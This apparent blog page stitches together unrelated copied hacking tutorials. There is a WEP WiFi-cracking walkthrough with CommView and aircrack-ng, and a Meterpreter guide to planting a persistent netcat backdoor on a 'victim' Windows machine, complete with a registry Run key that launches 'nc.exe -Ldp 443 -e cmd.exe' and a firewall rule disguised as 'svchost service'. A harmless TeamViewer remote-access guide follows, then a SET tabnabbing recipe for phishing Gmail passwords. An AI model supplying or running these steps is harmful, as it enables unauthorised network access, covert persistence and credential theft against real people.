Linux (Tips & Tricks)

FIRSTLY WE KNOW ABOUT HOW TO HACK WIFI PASSWORD AND WHAT TOOL ARE REQUIRED TO HACK WIFI PASSWORD
TOOL REQUIRED FOR WIFI HACKING:



1. Commview for WIFI: 


This tool is used for capturing the packet of wifi which we have to crack.this is also used for convert the file which is required for crack ( in this crack we convert .ncf file to .cap file)
To download this software Click Here.



2. Aircrack -ng:

This tool is used for retrieve password from captured file from commview for wifi software
to download software please CLICK HERE

Steps to Hack WIFI in Windows:


1. install commview
2. after installation a popup window is open in commview software for driver installation .( if pop window not open then goto > help > driver installation guide then do this)
3. install commview driver for your wifi network( without installation of driver you cannot capture data of desired wifi network)
4. after installation of driver click on capture button on left corner of software.
5. a pop up window is open and show wifi network near you.
6. select wifi network which you want to hack and click on capture.
you must need to see your connection is wep or not.(this trick only work with wep)
7. after that you can see the commview capture wifi data.
8. now goto to logging panel in commview and tick on auto saving and put
maximum directory size, mb – 2000
average log file size- 20
9. now capture packets for 2-3 hour.( about 1 lakh packet)

Steps to Convert CAPTURED FILE:

open commview and follow step
1. goto file>log viewer
2. after open log viewer
3.goto file> load commview log> select all capture file > then open
4. after opening goto>export logs > select wireshark tcpdump format
5. save file with desired location (this file is used for cracking password).

Crack Password using Aircrack -ng:

1. open download package.
2. goto bin and open aircrack-ng GUI.exe
3. open converted file
4. select key size – 64
5. click on launch
6. index no. of target file is– 1
7 wait for cracking password
8. if wifi password is cracked then it write
password 100% decrypted 94:15:74:54:42
in this password is 9415745442 for wifi

If cracking fails in the first attempt:

If password is not cracked then it say FAILED NEXT TRY WITH 5000 IVS ,so we have to again capture packets and repeat above process again till password is crack
NOTE:- when we again capture packet and convert it into cap then we have to select all previous captured packet also to convert

-------------------------------------------------------------------------------------------------------------------

Level : Medium
O.S Target : Windows 7 ultimate
When an attacker successfully compromise a system they need to maintain the connection, that's why the attacker usually installing backdoor on victim computer for future use to make attacker easily connect to victim computer to use victim resource, and collecting data on victim computer.
Are you sure netcat can be used as a backdoor? yes sure of course :-) In this tutorial I will write down the technique to set up the famous listener application NetCat as a backdoor for Windows system when attacker successfully compromised victim computer and gaining meterpreter access.
This tutorial I will write based on gaining access using java signed applet exploit in my previous tutorial.

Requirements :

1. NetCat 2. Meterpreter Script (you can get meterpreter script when successfully compromise victim with selected payload)

Step By Step :

1. The first step you need to gain an access to victim computer and get a meterpreter script for the payload ( I'm using java signed applet from my previous tutorial).
Using NetCat as a Backdoor in Windows
2. The next step you need to upload your NetCat.exe to victim computer by using following command :
upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32

upload nc.exe and place it in C:\windows\system32 on victim computer

When it failed to upload(look the picture above), you need to escalate your privilege to system account (view the tutorial privilege escalation here). 3. When upload process successful it will shown like this :

4. The next step we need to configure the registry to make NetCat execute on Windows start up and listening on port 443. We do this by editing the key "HKLM\software\microsoft\windows\currentversion\run". Enumerate the supplied registry key :
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Using netcat as a backdoor in windows system
5. Then add our NetCat into start up process by running this command :
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'

Successful set nc.
6. To check our backdoor autorun process and make sure it already added on autorun list :
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
Using NetCat as a backdoor in windows system
7. Until this step everything looks okay, for the next step we need to alter the system to allow remote connections through the firewall to our netcat backdoor using netsh command and open port 443 . run shell command from meterpreter to access command prompt, and then run :
netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=443
Using NetCat as a backdoor in windows system 8. When success add our firewall rule, let's check and make sure our new rule has been added or not by using this command :
netsh firewall show portopening
Using NetCat as a backdoor in windows system
9. Yep everything has been set up so great until this step, now we will run our netcat to try connect to victim computer by running :
nc -v victim_ip_address port
Using NetCat as a backdoor in windows system
10. Let's try our backdoor by restarting the victim computer by using reboot command from meterpreter or shutdown -r -t 00 from windows console and try again to connect using NetCat in step 9.
meterpreter > reboot

or

C:\windows\system32>shutdown -r -t 00
If our netcat show up a console, then we're successful inject a NetCat backdoor to victim computer.
- See more at: http://www.hacking-tutorial.com/hacking-tutorial/10-steps-to-use-netcat-as-a-backdoor-in-windows-7-system/#sthash.KBh9ibC5.dpuf
------------------------------------------------------------------------------------------------------------------




How To Connect To Your Home Computer Remotely With TeamViewer


In this tutorial, I’m going to show you how to setup your home computers so that you can remotely connect to them via Teamviewer. This should work whether you have Windows or Linux computers with teamviewer installed. This is called unattended access.

Getting started:

To get started, download Linux version of Teamviewer here.

teamviewer_home_mav

Open with ‘Ubuntu Software Center (default). When Software Center opens, click ‘Install’ to install Teamviewer 5

teamviewer_home_mav_1

After installing, go to Applications – > Internet –> TeamViewer.

teamviewer_home_mav_2

Then click ‘Extras –> Options’.

teamviewer_home_mav_3

Select ‘Security’, then enter and confirm your password for unattended access to your system. This will allow you to login with your password instead of a auto-generated password.

teamviewer_home_mav_4

Next take notes of your ID. This is the ID you’ll need to type in order to login to this computer.

teamviewer_home_mav_5

Because Teamviewer doesn’t start automatically, you’ll need to create a process to make it start automatically. To do that, go to System –> Preferences –> Startup Applications.

teamviewer_home_mav_6

Click Add.

teamviewer_home_mav_7

Type the information shown below. The command for Teamviewer is:
/usr/bin/teamviewer
teamviewer_home_mav_8

Next, make your account to automatically login without passwords. To do that, go to System –> Administration –> Login Screen.

teamviewer_home_mav_9

Click Unlock.

teamviewer_home_mav_10

Select the account to automatically login with and close out.

teamviewer_home_mav_11

Restart your computer to test. If all went well, you should login automatically and Teamviewer should also start automatically.


Connecting to your Home PC:

From a Windows or other computer, download Teamviewer from here.

After installing, enter your Home PC ID in the ID field and click ‘Connect to partner’.

teamviewer_home_mav_12

Enter the password your created and click Log On.

teamviewer_home_mav_13

Enjoy!

teamviewer_home_mav_14


This is a great way to remotely logon to your home PC via Teamviewer. If you remotely restart your computer, it should be a problem because your account is set to logon automatically.
========================================================================

How to Hack Gmail , Facebook with Backtrack 5 

1.  First open your backtrack terminal and type ifconfig to Check your  IP Address


2. Now Again Open Your Backtrack terminal and Type cd  /pentest/exploits/set
Now Open Social Engineering Toolkit (SET) ./set




3. Now choose option 2, “Website Attack Vectors”.



4. In this option we will select option 4 “Tabnabbing Attack Method”.



5.In this option we will choose option 2 “Site Cloner”.



6. Enter the URL of the site you want to clone. In this case http://www.gmail.com and hit enter. SET will clone up the web site. And press return to continue.
Now convert your URL into Google URL using goo.gl and send this link address to your victim via Email orChat.

When victim open in their browser it should be a message that the page is still loading. so victim start to open another tab. As soon as victim open new tab, our fake website start working. That script will redirect the victim to the phishing page your derived.

Now When User Enter His / Her Username OR Password It get Here.


Thanks for reading and M0re comming soon. :) D

No comments:

Post a Comment